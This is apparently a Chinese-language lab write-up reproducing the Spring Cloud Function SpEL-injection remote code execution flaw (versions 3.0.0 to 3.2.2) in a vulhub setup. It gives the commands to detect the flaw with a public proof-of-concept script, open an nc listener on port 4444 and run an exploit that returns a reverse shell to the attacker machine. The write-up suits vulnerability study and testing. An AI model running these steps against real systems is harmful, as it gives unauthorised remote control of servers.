目录
0x00 漏洞简介
2022年3月,Spring Cloud 官方修复了一个 Spring Cloud Function中的 SPEL 表达式注入漏洞,由于 Spring Cloud Function中 RoutingFunction 类的 apply 方法将请求头中的 “spring.cloud.function.routing-expression” 参数作为SpEL表达式进行处理,造成了SpEL表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码。
0x01 影响版本
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
0x02 基础知识
SpringCloud Function
Spring Cloud Function 是基于Spring Boot 的函数计算框架(FaaS,函数即服务,function as a service),该项目提供了一个通用的模型,用于在各种平台上部署基于函数的软件。它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。
SpEL
SpEL(Spring Expression Language),即Spring表达式语言,一种功能强大的表达式语言,用于在运行时查询和操作对象图。
0x03 复现过程
实验环境:
被攻击主机:CentOS7(192.168.217.140)
漏洞环境:SpringCloud-Function-0.0.1-SNAPSHOT.jar,https://github.com/N1ce759/Spring-Cloud-Function-SPEL-RCE
攻击者:kali(192.168.217.141)
漏洞利用工具工具:Spring-cloud-function-SpEL-RCE ,https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE
- 靶场环境基于vulhub进行部署,使用命令进行部署
docker-compose up -d
- 部署完成后,访问8080端口看看是否部署成功
- 环境没什么问题,接下来下载漏洞利用工具,检测并利用漏洞获取反弹shell
echo "http://192.168.217.140:8080/" > url.txt
python3 Spel_RCE_POC.py url.txt
- 确认存在漏洞后,接下来获取反弹shell,使用nc开启4444端口监听
nc -lvp 4444
- 使用exp获取反弹shell
python3 Spel_RCE_Bash_EXP.py http://192.168.217.140:8080/ 192.168.217.141 4444